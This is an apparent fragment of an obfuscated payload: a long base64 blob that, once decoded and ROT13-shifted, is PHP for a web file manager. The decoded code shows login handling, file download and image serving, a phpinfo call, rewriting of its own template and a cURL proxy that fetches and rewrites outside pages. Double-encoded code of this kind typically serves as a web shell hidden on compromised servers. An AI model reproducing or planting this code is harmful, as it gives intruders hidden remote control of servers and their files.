4nIDx2YWNoZyBhbnpyPSJ5YnR2YSIgZ2xjcj0iZ3JrZyI+JmFvZmM7JmFvZmM7JmFvZmM7CicuX18oJ0NuZmZqYmVxJykuJyA8dmFjaGcgYW56cj0iY25mZmpiZXEiIGdsY3I9ImNuZmZqYmVxIj4mYW9mYzsmYW9mYzsmYW9mYzsKPHZhY2hnIGdsY3I9ImZob3p2ZyIgaW55aHI9IicuX18oJ1JhZ3JlJykuJyIgcHluZmY9InN6X3ZhY2hnIj4KPC9zYmV6PgonLnN6X3luYXRfc2JleigkeW5hdGhudHIpLicKPC9vYnFsPgo8L3Vnenk+Cic7ICAKcXZyKCk7Cgl9Cgl2cyAodmZmcmcoJF9DQkZHWydkaHZnJ10pKSB7CgkJaGFmcmcoJF9QQkJYVlJbJG5oZ3VbJ3BiYnh2cl9hbnpyJ11dKTsKCQlmcmdwYmJ4dnIoJG5oZ3VbJ3BiYnh2cl9hbnpyJ10sICcnLCBndnpyKCkgLSAoODY0MDAgKiAkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10pKTsKCQl1cm5xcmUoJ1licG5ndmJhOiAnLnN6X2Z2Z3JfaGV5KCkuJF9GUkVJUkVbJ0VSREhSRkdfSEVWJ10pOwoJfQp9CgovLyBQdW5hdHIgcGJhc3Z0CnZzICh2ZmZyZygkX1RSR1snc3pfZnJnZ3ZhdGYnXSkpIHsKCXZzICh2ZmZyZygkX1RSR1snc3pfcGJhc3Z0X3FyeXJnciddKSkgeyAKCQloYWZyZygkX1BCQlhWUlsnc3pfcGJhc3Z0J10pOwoJCWZyZ3BiYnh2cignc3pfcGJhc3Z0JywgJycsIGd2enIoKSAtICg4NjQwMCAqICRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXSkpOwoJCXVybnFyZSgnWWJwbmd2YmE6ICcuc3pfaGV5KCkuJz9zel9mcmdndmF0Zj1nZWhyJyk7CgkJcmt2ZygwKTsKCX0JcnlmcnZzICh2ZmZyZygkX0NCRkdbJ3N6X3BiYXN2dCddKSkgeyAKCQkkc3pfcGJhc3Z0ID0gJF9DQkZHWydzel9wYmFzdnQnXTsKCQlmcmdwYmJ4dnIoJ3N6X3BiYXN2dCcsIGZyZXZueXZtcigkc3pfcGJhc3Z0KSwgZ3Z6cigpICsgKDg2NDAwICogJG5oZ3VbJ3FubGZfbmhndWJldm1uZ3ZiYSddKSk7CgkJJF9QQkJYVlJbJ3N6X3BiYXN2dCddID0gZnJldm55dm1yKCRzel9wYmFzdnQpOwoJCSR6ZnQgPSBfXygnRnJnZ3ZhdGYnKS4nICcuX18oJ3FiYXInKTsKCX0JcnlmcnZzICh2ZmZyZygkX0NCRkdbJ3N6X3lidHZhJ10pKSB7IAoJCXZzIChyemNnbCgkX0NCRkdbJ3N6X3lidHZhJ11bJ25oZ3ViZXZtciddKSkgJF9DQkZHWydzel95YnR2YSddID0gbmVlbmwoJ25oZ3ViZXZtcicgPT4gJzAnKSArICRfQ0JGR1snc3pfeWJ0dmEnXTsKCQkkc3pfeWJ0dmEgPSB3ZmJhX3JhcGJxcigkX0NCRkdbJ3N6X3lidHZhJ10pOwoJCSRzdHAgPSBzdnlyX3RyZ19wYmFncmFnZihfX1NWWVJfXyk7CgkJJGZybmVwdSA9IGNlcnRfem5ncHUoJyNuaGd1YmV2bW5ndmJhW1xmXT9cPVtcZl0/XCdce1wiKC4qPylcIlx9XCc7IycsICRzdHAsICR6bmdwdXJmKTsKCQl2cyAoIXJ6Y2dsKCR6bmdwdXJmWzFdKSkgewoJCQkkc3Z5cnpndnpyID0gc3Z5cnpndnpyKF9fU1ZZUl9fKTsKCQkJJGVyY3lucHIgPSBmZ2VfZXJjeW5wcigneyInLiR6bmdwdXJmWzFdLicifScsJHN6X3lidHZhLCRzdHApOwoJCQl2cyAoc3Z5cl9jaGdfcGJhZ3JhZ2YoX19TVllSX18sICRlcmN5bnByKSkgewoJCQkJJHpmdCAuPSBfXygnU3Z5ciBoY3FuZ3JxJyk7CgkJCQl2cyAoJF9DQkZHWydzel95YnR2YSddWyd5YnR2YSddICE9ICRuaGd1Wyd5YnR2YSddKSAkemZ0IC49ICcgJy5fXygnWWJ0dmEnKS4nOiAnLiRfQ0JGR1snc3pfeWJ0dmEnXVsneWJ0dmEnXTsKCQkJCXZzICgkX0NCRkdbJ3N6X3lidHZhJ11bJ2NuZmZqYmVxJ10gIT0gJG5oZ3VbJ2NuZmZqYmVxJ10pICR6ZnQgLj0gJyAnLl9fKCdDbmZmamJlcScpLic6ICcuJF9DQkZHWydzel95YnR2YSddWydjbmZmamJlcSddOwoJCQkJJG5oZ3UgPSAkX0NCRkdbJ3N6X3lidHZhJ107CgkJCX0KCQkJcnlmciAkemZ0IC49IF9fKCdSZWViZSBicHBoZWVycScpOwoJCQl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ3N6X2VyZmdiZXJfZ3Z6ciddKSkgZ2JocHUoX19TVllSX18sJHN2eXJ6Z3Z6cik7CgkJfQoJfSByeWZydnMgKHZmZnJnKCRfQ0JGR1snZ2N5X3JxdmdycSddKSkgeyAKCQkkeWF0X2djeSA9ICRfQ0JGR1snZ2N5X3JxdmdycSddOwoJCXZzICghcnpjZ2woJF9DQkZHWyR5YXRfZ2N5LidfYW56ciddKSkgewoJCQkkc3pfY3VjID0gd2ZiYV9yYXBicXIobmVlbmxfcGJ6b3ZhcigkX0NCRkdbJHlhdF9nY3kuJ19hbnpyJ10sJF9DQkZHWyR5YXRfZ2N5LidfaW55aHInXSksV0ZCQV9VUktfTkNCRik7CgkJfSByeWZydnMgKCFyemNnbCgkX0NCRkdbJHlhdF9nY3kuJ19hcmpfYW56ciddKSkgewoJCQkkc3pfY3VjID0gd2ZiYV9yYXBicXIod2ZiYV9xcnBicXIoJHskeWF0X2djeS4nX2dyemN5bmdyZid9LGdlaHIpK25lZW5sKCRfQ0JGR1skeWF0X2djeS4nX2Fyal9hbnpyJ109PiRfQ0JGR1skeWF0X2djeS4nX2Fyal9pbnlociddKSxXRkJBX1VSS19OQ0JGKTsKCQl9CgkJdnMgKCFyemNnbCgkc3pfY3VjKSkgewoJCQkkc3RwID0gc3Z5cl90cmdfcGJhZ3JhZ2YoX19TVllSX18pOwoJCQkkZnJuZXB1ID0gY2VydF96bmdwdSgnIycuJHlhdF9nY3kuJ19ncnpjeW5ncmZbXGZdP1w9W1xmXT9cJ1x7XCIoLio/KVwiXH1cJzsjJywgJHN0cCwgJHpuZ3B1cmYpOwoJCQl2cyAoIXJ6Y2dsKCR6bmdwdXJmWzFdKSkgewoJCQkJJHN2eXJ6Z3Z6ciA9IHN2eXJ6Z3Z6cihfX1NWWVJfXyk7CgkJCQkkZXJjeW5wciA9IGZnZV9lcmN5bnByKCd7IicuJHpuZ3B1cmZbMV0uJyJ9Jywkc3pfY3VjLCRzdHApOwoJCQkJdnMgKHN2eXJfY2hnX3BiYWdyYWdmKF9fU1ZZUl9fLCAkZXJjeW5wcikpIHsKCQkJCQkkeyR5YXRfZ2N5LidfZ3J6Y3luZ3JmJ30gPSAkc3pfY3VjOwoJCQkJCSR6ZnQgLj0gX18oJ1N2eXIgaGNxbmdycScpOwoJCQkJfSByeWZyICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJyk7CgkJCQl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ3N6X2VyZmdiZXJfZ3Z6ciddKSkgZ2JocHUoX19TVllSX18sJHN2eXJ6Z3Z6cik7CgkJCX0JCgkJfSByeWZyICR6ZnQgLj0gX18oJ1JlZWJlIGJwcGhlZXJxJyk7Cgl9Cn0KCi8vIFdoZmcgZnViaiB2em50cgp2cyAodmZmcmcoJF9UUkdbJ3Z6dCddKSkgewoJJHN2eXI9b25mcjY0X3FycGJxcigkX1RSR1sndnp0J10pOwoJdnMgKCR2YXNiPXRyZ3Z6bnRyZnZtcigkc3Z5cikpewoJCWZqdmdwdSAgKCR2YXNiWzJdKXsJLy8xPVRWUywgMj1XQ1QsIDM9Q0FULCA0PUZKUywgNT1DRlEsIDY9T1pDCgkJCXBuZnIgMTogJHJrZz0ndHZzJzsgb2Vybng7CgkJCXBuZnIgMjogJHJrZz0nd2NydCc7IG9lcm54OwoJCQlwbmZyIDM6ICRya2c9J2NhdCc7IG9lcm54OwoJCQlwbmZyIDY6ICRya2c9J296Yyc7IG9lcm54OwoJCQlxcnNuaHlnOiBxdnIoKTsKCQl9CgkJdXJucXJlKCJQYmFncmFnLWdsY3I6IHZ6bnRyLyRya2ciKTsKCQlycHViIHN2eXJfdHJnX3BiYWdyYWdmKCRzdnlyKTsKCQlxdnIoKTsKCX0KfQoKLy8gV2hmZyBxYmpheWJucSBzdnlyCnZzICh2ZmZyZygkX1RSR1sncWJqYXlibnEnXSkpIHsKCSRzdnlyPW9uZnI2NF9xcnBicXIoJF9UUkdbJ3FiamF5Ym5xJ10pOwoJc3pfcWJqYXlibnEoJHN2eXIpOwkKfQoKLy8gV2hmZyBmdWJqIHZhc2IKdnMgKHZmZnJnKCRfVFJHWydjdWN2YXNiJ10pKSB7CgljdWN2YXNiKCk7IAoJcXZyKCk7Cn0KCi8vIFp2YXYgY2Via2wsIHpuYWwgb2h0ZiEKdnMgKHZmZnJnKCRfVFJHWydjZWJrbCddKSAmJiAoIXJ6Y2dsKCRzel9wYmFzdnRbJ3Jhbm95cl9jZWJrbCddKSkpIHsKCSRoZXkgPSB2ZmZyZygkX1RSR1snaGV5J10pP2hleXFycGJxcigkX1RSR1snaGV5J10pOicnOwoJJGNlYmtsX3NiZXogPSAnCjxxdmkgZmdseXI9ImNiZnZndmJhOmVyeW5ndmlyO20tdmFxcms6MTAwNTAwO29ucHh0ZWJoYXE6IHl2YXJuZS10ZW5xdnJhZyhnYiBvYmdnYnosICNyNHM1c3AgMCUsI29zcjhzOSA1MCUsIzlzcThycyA1MSUsIzJubzBycSAxMDAlKTsiPgoJPHNiZXogbnBndmJhPSIiIHpyZ3VicT0iVFJHIj4KCTx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImNlYmtsIiBpbnlocj0iZ2VociI+CgknLnN6X3VienIoKS4nIDxuIHVlcnM9IicuJGhleS4nIiBnbmV0cmc9Il9veW5heCI+SGV5PC9uPjogPHZhY2hnIGdsY3I9Imdya2ciIGFuenI9ImhleSIgaW55aHI9IicuJGhleS4nIiBmdm1yPSI1NSI+Cgk8dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iJy5fXygnRnViaicpLiciIHB5bmZmPSJzel92YWNoZyI+Cgk8L3NiZXo+CjwvcXZpPgonOwoJdnMgKCRoZXkpIHsKCQkkcHUgPSBwaGV5X3ZhdmcoJGhleSk7CgkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0hGUkVOVFJBRywgJ1FyYTFra2sgZ3JmZyBjZWJrbCcpOwoJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19TQllZQkpZQlBOR1ZCQSwgMSk7CgkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0ZGWV9JUkVWU0xVQkZHLDApOwoJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19GRllfSVJFVlNMQ1JSRSwwKTsKCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfVVJOUVJFLCAwKTsKCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJTUkVSRSwgJGhleSk7CgkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0VSR0hFQUdFTkFGU1JFLGdlaHIpOwoJCSRlcmZoeWcgPSBwaGV5X3JrcnAoJHB1KTsKCQlwaGV5X3B5YmZyKCRwdSk7CgkJLy8kZXJmaHlnID0gY2VydF9lcmN5bnByKCcjKGZlcCk9WyJcJ11bdWdnYzovL10/KFteOl0qKVsiXCddI0h2JywgJ1xcMT0iJy4kaGV5LicvXFwyIicsICRlcmZoeWcpOwoJCSRlcmZoeWcgPSBjZXJ0X2VyY3lucHJfcG55eW9ucHgoJyModWVyc3xmZXApPVsiXCddW3VnZ2M6Ly9dPyhbXjpdKilbIlwnXSNIdicsICdzel9oZXlfY2Via2wnLCAkZXJmaHlnKTsKCQkkZXJmaHlnID0gY2VydF9lcmN5bnByKCclKDxvYnFsLio/PikldicsICckMScuJzxmZ2x5cj4nLnN6X3VienJfZmdseXIoKS4nPC9mZ2x5cj4nLiRjZWJrbF9zYmV6LCAkZXJmaHlnKTsKCQlycHViICRlcmZoeWc7CgkJcXZyKCk7Cgl9IAp9Cj8+CjwhcWJwZ2xjciB1Z3p5Pgo8dWd6eT4KPHVybnE+ICAgICAKCTx6cmduIHB1bmVmcmc9Imhncy04IiAvPgoJPHpyZ24gYW56cj0iaXZyamNiZWciIHBiYWdyYWc9Imp2cWd1PXFyaXZwci1qdnFndSwgdmF2Z3ZueS1mcG55cj0xIiAvPgogICAgPGd2Z3lyPjw/PV9fKCdTdnlyIHpuYW50cmUnKT8+PC9ndmd5cj4KPGZnbHlyPgpvYnFsIHsKCW9ucHh0ZWJoYXEtcGJ5YmU6CWp1dmdyOwoJc2JhZy1zbnp2eWw6CQlJcmVxbmFuLCBOZXZueSwgVXJ5aXJndnBuLCBmbmFmLWZyZXZzOwoJc2JhZy1mdm1yOgkJCThjZzsKCXpuZXR2YToJCQkJMGNrOwp9CgpuOnl2YXgsIG46bnBndmlyLCBuOml2ZnZncnEgeyBwYnliZTogIzAwNjY5OTsgZ3JrZy1xcnBiZW5ndmJhOiBhYmFyOyB9Cm46dWJpcmUgeyBwYnliZTogI1FRNjkwMDsgZ3JrZy1xcnBiZW5ndmJhOiBoYXFyZXl2YXI7IH0Kbi5ndTp5dmF4IHsgcGJ5YmU6ICNTU04zNFM7IGdya2ctcXJwYmVuZ3ZiYTogYWJhcjsgfQpuLmd1Om5wZ3ZpciB7IHBieWJlOiAjU1NOMzRTOyBncmtnLXFycGJlbmd2YmE6IGFiYXI7IH0Kbi5ndTppdmZ2Z3JxIHsgcGJ5YmU6ICNTU04zNFM7IGdya2ctcXJwYmVuZ3ZiYTogYWJhcjsgfQpuLmd1OnViaXJlIHsgIHBieWJlOiAjU1NOMzRTOyBncmtnLXFycGJlbmd2YmE6IGhhcXJleXZhcjsgfQoKZ25veXIub3QgewoJb25weHRlYmhhcS1wYnliZTogI05QT09QNgp9CgpndSwgZ3EgeyAKCXNiYWc6CWFiZXpueSA4Y2cgSXJlcW5hbiwgTmV2bnksIFVyeWlyZ3ZwbiwgZm5hZi1mcmV2czsKCWNucXF2YXQ6IDNjazsKfQoKZ3UJewoJdXJ2dHVnOgkJCQkyNWNrOwoJb25weHRlYmhhcS1wYnliZToJIzAwNjY5OTsKCXBieWJlOgkJCQkjU1NOMzRTOwoJc2JhZy1qcnZ0dWc6CQlvYnlxOwoJc2JhZy1mdm1yOgkJCTExY2s7Cn0KCi5lYmoxIHsKCW9ucHh0ZWJoYXEtcGJ5YmU6CSNSU1JTUlM7Cn0KCi5lYmoyIHsKCW9ucHh0ZWJoYXEtcGJ5YmU6CSNRUlIzUjc7Cn0KCi5lYmozIHsKCW9ucHh0ZWJoYXEtcGJ5YmU6CSNRMVE3UVA7CgljbnFxdmF0OiA1Y2s7Cn0KCmdlLmViajE6dWJpcmUgewoJb25weHRlYmhhcS1wYnliZToJI1MzU1BTUDsKfQoKZ2UuZWJqMjp1YmlyZSB7CglvbnB4dGViaGFxLXBieWJlOgkjUzBTNlM2Owp9CgouanVieXIgewoJanZxZ3U6IDEwMCU7Cn0KCi5ueXkgZ29icWwgZ3E6c3ZlZmctcHV2eXF7anZxZ3U6MTAwJTt9CgpncmtnbmVybiB7CglzYmFnOiA5Y2cgJ1BiaGV2cmUgQXJqJywgcGJoZXZyZTsKCXl2YXItdXJ2dHVnOiAxMjUlOwoJY25xcXZhdDogNWNrOwp9CgouZ3JrZ25lcm5fdmFjaGcgewoJdXJ2dHVnOiAxcno7Cn0KCi5ncmtnbmVybl92YWNoZzpzYnBoZiB7Cgl1cnZ0dWc6IG5oZ2I7Cn0KCnZhY2hnW2dsY3I9ZmhvenZnXXsKCW9ucHh0ZWJoYXE6ICNTUFNQU1AgYWJhciAhdnpjYmVnbmFnOwoJcGhlZmJlOiBjYnZhZ3JlOwp9Cgouc2J5cXJlIHsKICAgIG9ucHh0ZWJoYXEtdnpudHI6IGhleSgicW5nbjp2em50ci9jYXQ7b25mcjY0LHZJT0JFajBYVHRiTk5OTkFGSHVSSHROTk5PTk5OTk5EUE5MTk5OTnM4Lzl1Tk5OWEcyeVFEMU9EblQ5MG8zQWJvM050RkhBUVZVT2xvMk1jb1RITk5Vd25hSUFhSVNDY1N3MzMzaUVQRjR2TnlSZ2lIdUhWVlNXUHY0Tkh4RkxkVkR4REZidHVicXhJSHBSRUVISFJUOHZ0dk5CQndiUFpTSVJmUVZiWDJOc3hWblhCdDZCVnZmZTc0S2h3bjluODkrb0EvZUtLQ2hyZjg1Mm1tanNOUE5sSkZRQUVBTE5aZEhWclJyUFFrOEdUNHJEaERWUlhXVU5OUk52bU1QU20vRlpPTkN1K0NRamVWZk5VaXROT3JBWllQTlFOR01pTlpPbFUvai9kRGN5cE5MUFJOcE8weEd1WVBWTkhOUk82d3hYek5ST1ROTFBxelBNR05YTlJOVFFZTDJZd05TTmdOVE5hcytvR05WUHErV3k3TkRPb3lQUklOblBFTlBOR01MdVJOVHQ3TlhtQ0liY1NOU3RqTk9FekY4RDVOQXRnTlFPV0kyTVZOWVAzTlpRQlJOaGxOTnRaTlFPRXZWSGNOTkU3TlRRVlZsQTROVkZNTk9FVDh5cDg4RmhoUkJwZE5OTzR6b1Y4aEZENUVMU29QUDFrTzFxS1l1NGJteHhLWGtEMkxEV3V6eE5oamF6TVRHWE9BTi90ODhqTk5YUEVTRVV0dC9DOXJaNEJlZjdCQWI2MlF5OGc2ZThUL2xXdkxoQys1cCtlcFJOTk5CUzBzZ1UrWVArbVRiTjdPYk9nL2RWeTd0RWJLdGh0cXNyWU1lVkNEWUhOYkJhbkkvQWorVTQ4Q1JKdXhZYU0yckt4NUF1WGtSV29McGNLc3M1YWp5L05JLzFmK0s0OC9DczE0WTd2V1ZSbEtMU1VPQ3d0amZtMEdYSHBtNVZXdVRZcDViOVUvWXBZLy9qcTBsWVJGSlg1SlBiSDQxUkZwTDVSemJtbVpkSHZ2SFhGWHBIeTBpOXg0ZzhmK2paKzNtSE5mVGIrTktoRVludXFMakMyRmxwREpVR040aXBOTkNYN284VUhYTnRRdFR2UTRwOTMvKzgvL0hydFdEUE5NeHpGcEROTkt4RHhZeUdYZm0vVVBOTk5FWFBPWGVPT1QvR09UUG1OT3VtT09xbU9QL2t0QWJFUFdaR1BEdU9QUHpGTlVVV3RYbmxQRHZ2VG1vTnFYek5pMVJOcUFaT0VuVm5HcE40aGp5SjRRdzFqUS9jdVBXN09YWWxPUERFT2xOdEdMRlVudk5TdnZ5dHd3dHRLekxLNFZwU1ZPT1hZV1BRV3ZPRUVWeGhFQUh0a0hiY0hWU0lWVXNWOXB0VjV1MWtUaGNSN2xOTmx0aWxUaVJwa3lWVGxIRzNIUVlJUWhudDNUYkVUYnRpRE1VRGt6YjhKYldpRHBlRG5DTGoyYnJzRGQydEMyYjgrRDhwampCdExPbUNSb1FOaGtmQVBmR3RmUE1Bd2w3UnZlTmxla3VkaklkalFoNGExTDgra3FqREZ0SEtOUEdMUnEwVnRMRTVPRlN1WkpSN0xGWHR0VVBEMFJxYldBanhRdVNVUFdsWEdkUmgwV2ViRStwRExMd1ZrdTF1VllQQ0pSYjhHWWtPN3ZSQ1JBbERGdkhabFc3ekROeHprY1NHRlJnV1QwejVGVit4ZmRNZjBGT2J3eDhhbk1UaGxPbXpIWVBOZWxWS3hhckdRNVFDeFQrRHU4eWZYYUpXTnBuRzRIK1ZiSGZjZEZ1YXlSQkgwNURNeXpRV09JbkJuSGcyYmJJREVBTDluRGQydWd5WGlITHJiUm1FMXp3YUF0a01XRjZKZ2JjS0dUenRLbkNxY2UrdTBodVVxeUU1Qnk5T0swZmljRSt2SzZOQzBxampBdXVKUWs0dWFYT3pvVE5wTE1reTNUWCtMR1hMTTA0Zk1rMURqQW1VZXpCck1RNXlpSUl0ZGd2YzhTTVVYUGNJWHlGbklUbGJpSVh6ZGNkZXJkdGdJODFLWUlWK2NLeUE5ZXhNSVoxQ3dkRGFIeWRnSWRjMUQ2MVpvSDJyY0I2dlVkenJibzFEL2NVNU0vTHhUSnBBWmowOVFjU1R0Zkkvd2laTHRQMlpNZjN0ZlZKZkFkNE0xdEdLUldlVUEyS2syWGVoTC9FMjd2bTJkZG5SNURtQVhaMXJtSGlCSE13OFU0NXVrK1drMEd0YWFYWHJLODM2WDN1R2lYclZjVDZMMEdZeGtNSWtlZGNuS3l5dmVGWGdFZDBzZWlHbmg3bnJxY2UxU2gxYTd0RDVPazBiYUtQcVVNNC9CT00zYUg5eUczbnBYY2tNQUNHZTFldjZkbjZIb2JvZ1JxNzloYys2TGFlNXJ0VzVabzZzcnJvM2ErdWs5WS8xSC9KMzZjL0lVUVN0VGZqanhPZ2ZabXV0OGtHSWtvbWpxWThzbzhJU1FLcEFORDZJdXlKVEs0TEZFaHFSOGI5SVR3SExDd1RhVEtCWng0MjNUb3Bud1d0THpWRk1ZR3JjQTdjY0ZHb3p6WG5MN0dRZ1prODNabW5ZQTFjeDF6bTBrMW1ZYXorcm8xNWlzZzJPbnJTYmZnZHYyaFRJV2ZoRW5jeWFoZ2VraHVJYjVKbklMSUljcWYwbmdhbjB5MWVoZ2g2cEVjN3lCeDA2ZWFnTWFqN1FrZ2Z6MmRvcE1mQktMT2doaGd6MjJzSlNhTHVxYWc4SmhqKzZHaU1BOWhhMkEvRzBVUUxzTVFkZnFKdTErcDdFbFNRY0pCZzZubWNtaEMzM1M5V29jWTJxTG1rUUMyUUN3Z3VDWVhwRWNhSUJvMDBxYVMycjVwNENtdlZoV0Y0WVlZY3ArWWNmb2tnM1ZpckVYcUNJa0tyUzYwaUpxejdCb2poMmIyNi9oQWg1Yzdic3BhOGowYWx6ckpHQW0wWkNWRCtPRTVxUi9QNStJWlRpc2VVNUNEMCtPTTdLYVZsOXdZNVNLZXFyamc2STNkaXF1N2twKzl3NWxhK1orNG1qMzN3WXJKSS9aQThQM2xZc1lHOEFpYXkrUzMwQS9WLzl4LzNlLzBEUGF0UEhPTWpCV3RIVE9Kalk3K1VjOFZvK0JDbWVvTXNubDJyMU93WFA1REVJT3c0WGd0aEtPZUZTYmxCbERlRlUzNTV3QnhwNWNRYklEc2h3SjBOcXU1elRZajM0Wlc0SlV1SXJUQzQ1anZTdG4wR1RLQUtzRTNSQW0zMEc2RVdNUjNjZ2FaSDg1ZWwxWEFGYitkdjVkQ0FiM2h3RjZDOExoTXlhWjFJdnFKUnlmRmtqNVl2ZGhBejVmaWcvODdzQlU0YzN2UCtBN1M1dGlsUzFqcm5VQmppRlNja25jWXVWZkJjTU5HVnVCQldHakRFTmRkT25aV3NWR3FsSkJQYWFQVXBXYVZ2L0VBZ1RWMlJBcFh1NUI4eHRkR0tkRjdXVDhBS3h4a0dCeVlCSjV1UHJjeFlrWlFIbXF6bWRyU2NjMlZUMGxDR2Q5WkxCRnhNT2tEZGJ1R01CMk0rY2E1ek0ybDZreXVvWStrSjZZZ2w4cnlEc1duN0JEZU5JTVlEZDJEZG9iSVNiYjFsYlVmenF5STJuL21MYVhCTW5lYXZpQTdwbG1sZ2hEQTVtaWEvL2dSZlZGNE1YMmNMTVlJbDBxSkJuOWVUYjVmd2trcnFmWDRrSFNYNE1KT2RqOGhWZDJYejNJRzZpZ0k1cmhzZTB6cngxZXRJN09sYllPZ0RTZTZqZ0lQaEpTc3JpcDErMXFHMXRpSnErMUxzZFRhRWYrU0x6WGV1R29TNXBJczl0YjNVd3lUNHFpbGUrTTNXRjBkbmlSaEpHQ01nV3o2cm9yWU01b1FjbmR5K25LUXo0QTJxZDBRcTlKZ0IzMTl4S29ZNXNBWEFoN3Q3TVFobkIvQ1l2OE1uc1dtZjA3QzFGeElDRUgreUQyN2dZcWdKVUsrVDdFN3VnN2lDTDA3QUtvSjdtMy9HN1dpZ2dJTklJQTFKb0lNc2dXKzdDM0M2NldkaGE0eWlnZ0tuMUJvS1Vna2pDRk4vMFVWajYyMTdhSDFFM0ZDSUVGdzlMZTYwcEJraysrL2MzaXFsMEFBdDFJd01tVDR2QWpFVWF4NnNwVzMvcHJRR2VucWJrN2VCUlUwazkyVUpwcVkyY1B6aVhuRWNnR3ppZ29MeWg2RzhqKzBxb2QzYWU4RTlmc1E1ajBDU3k1RmlBSGxKYW42TFlHeDJzbG00bHF5TTE5c3Y3NTNUUW9iZU03NTJDQjMyYkNvKys2UlVHdTB4Sy92K3A3aVFpQktDWDRxQ1hsMitIR0k3dUt6ZDg2SzIzZHFCYjgvY0NHRzhyN2FZaG5lZXlwbjdhaHJlMjFyMm8zNkVockE4N3E5WTE1OEVvLzFnSnJCRzNxaXNBNm8vc1M5L0tzU2cxK3B2czltZmg3MktwYTdkMjhHN2tzOVJRZ0RxeVEzTHNJQzFpKzNBd2kzVTlkalVydDg5VXBFL3BUdUxDQy9jVTF3ajlRT0wrTXc4aFRRTG9lYXd0K0JHYXZDM1k5NnNsYUQ4OXhtbG5yUy82di9maGhTa0xpc2l3STY5c0IwTXdFYk1zbHk1Qi9vS2x5L3JlTjZremkyOG9Qa3U2K2xLdG1aSTcwSWlpZ2pLc3BxazNpYjk4Q0crRThWVThiLzJ3NWZzSUcwWHM3eGt6R3gvOFJONXdtL1RabVlxZk5OTk5UTHhnVUVOUS9OQzhOLzZQOWM1Wk5OTk5XcFJ1TXBqTk5Qa1pOTk5mR05EUG5hT3ROTk5OVXFSeUFFRHNwUE5qVFp1eXJUTlhCTk5OT2xSeVJESUQ0bDhKR0cyZkhERVFTczlLR1orQ1RWT1VxUlJERThyTnN0dG5DVWlHaGxIK3YrTjM4TlM0OHJzV29YTzVtUjBWWk5JcFB2RXVEUjh0enoxMTFmOXpNM015K1V6bmw1ZE5MOFRPUXFHSkNyYjlVSUVzODcyQjlrSWkzL1dhZVBsdFZINDA2WC9kb2VvQzNJa28vZHdROCtCRkFnUCtJSzZFdkhsZUpjS1dRMm5yYXNsRTNLZjlBM3U1ZVNWajZSTkxEa2ZOVlhaU2srcHNGdDBxelN4K2RXbkRsVGgwZ2lqRzJYalJNdU5BREpNVEl0M1lGODNyaGNaMlM1bHZReFI5alFDTTc2MmlEc0lIV3VWWEQ3R1FuSjhHdm5wUEIyeUFhcTZrd3lMaWN6NDlzNVNoQU0rS09rY2JhNU9Hc0pkRm1BNE5SWU5TWWQrakZvVllTcUt0dGhidm9IdzcraWgwRVhUOXdyTFV4NmhWUktWYmZETU12QUpMaERGRERHSlNoTFJJM25wS0dzanFrdmdYZUROamh6THZMQjNXbVB4SUdsUUpqZnQrUUlNRTlMQUdZM2FkQVFhVWtBT2QyczF6cDJWMU50YU5WRUVzVG9JREJuenJhbEQ3bmw3NGZWM20rU0pKVTludkJleVBTT0JuZGRZYlZsdndqK0xKVUo5aCtQWG9UZlZwMC9mMkswb1NjVVpBSFJoWE1JRFAvMmswelowMEM4dnFzTk5yZ20yUkdqVDVzbjg3Q2FiZmh1TE9CbGI4cGdnWldKKzgzcXlpL2dWeTNTK280UExsYzJHa2oySUhqTk5OTk5SeVNHeEZoRHpQUCIpOwp9Cgouc3Z5ciB7CiAgICBvbnB4dGViaGFxLXZ6bnRyOiBoZXkoInFuZ246dnpudHIvY2F0O29uZnI2NCx2SU9CRWowWFR0Yk5OTk5BRkh1Ukh0Tk5OT05OTk5ORFBOTE5OTk5zOC85dU5OTlhHMnlRRDFPRG5UOTBvM0FibzNOdEZIQVFWVU9sbzJNY29USE5OVXduYUlBYUlTQ2NTdzMzM2lFUEY0dk55UmdpSHVIVlZTV1B2NE5IeEZMZFZEeERGYnR1YnF4SUhwUkVFSEhSVDh2dHZOQkJ3YlBaU0lSZlFWYlgyTnN4Vm5YQnQ2QlZ2ZmU3NEtod245bjg5K29BL2VLS0NocmY4NTJtbWpzTlBObEpGUUFFQUxOWmRIVnJSclBRazhHVDRyRGhEVlJYV1VOTlJOdm1NUFNtL0ZaT05DdStDUWplVmZOVWl0Tk9yQVpZUE5RTkdNaU5aT2xVL2ovZERjeXBOTFBSTnBPMHhHdVlQVk5ITlJPNnd4WHpOUk9UTkxQcXpQTUdOWE5STlRRWUwyWXdOU05nTlROYXMrb0dOVlBxK1d5N05ET295UFJJTm5QRU5QTkdNTHVSTlR0N05YbUNJYmNTTlN0ak5PRXpGOEQ1TkF0Z05RT1dJMk1WTllQM05aUUJSTmhsTk50Wk5RT0V2VkhjTk5FN05UUVZWbEE0TlZGTU5PRVQ4eXA4OEZoaFJCcGROTk80em9WOGhGRDVFTFNvUFAxa08xcUtZdTRibXh4S1hrRDJMRFd1enhOaGphek1UR1hPQU4vdDg4ak5OWFBFU0VVdHQvQzlyWjRCZWY3QkFiNjJReThnNmU4VC9sV3ZMaEMrNXArZXBSTk5OQlMwc2dVK1lQK21UYk43T2JPZy9kVnk3dEViS3RodHFzcllNZVZDRFlITmJCYW5JL0FqK1U0OENSSnV4WWFNMnJLeDVBdVhrUldvTHBjS3NzNWFqeS9OSS8xZitLNDgvQ3MxNFk3dldWUmxLTFNVT0N3dGpmbTBHWEhwbTVWV3VUWXA1YjlVL1lwWS8vanEwbFlSRkpYNUpQYkg0MVJGcEw1UnpibW1aZEh2dkhYRlhwSHkwaTl4NGc4ZitqWiszbUhOZlRiK05LaEVZbnVxTGpDMkZscERKVUdONGlwTk5DWDdvOFVIWE50UXRUdlE0cDkzLys4Ly9IcnRXRFBOTXh6RnBETk5LeER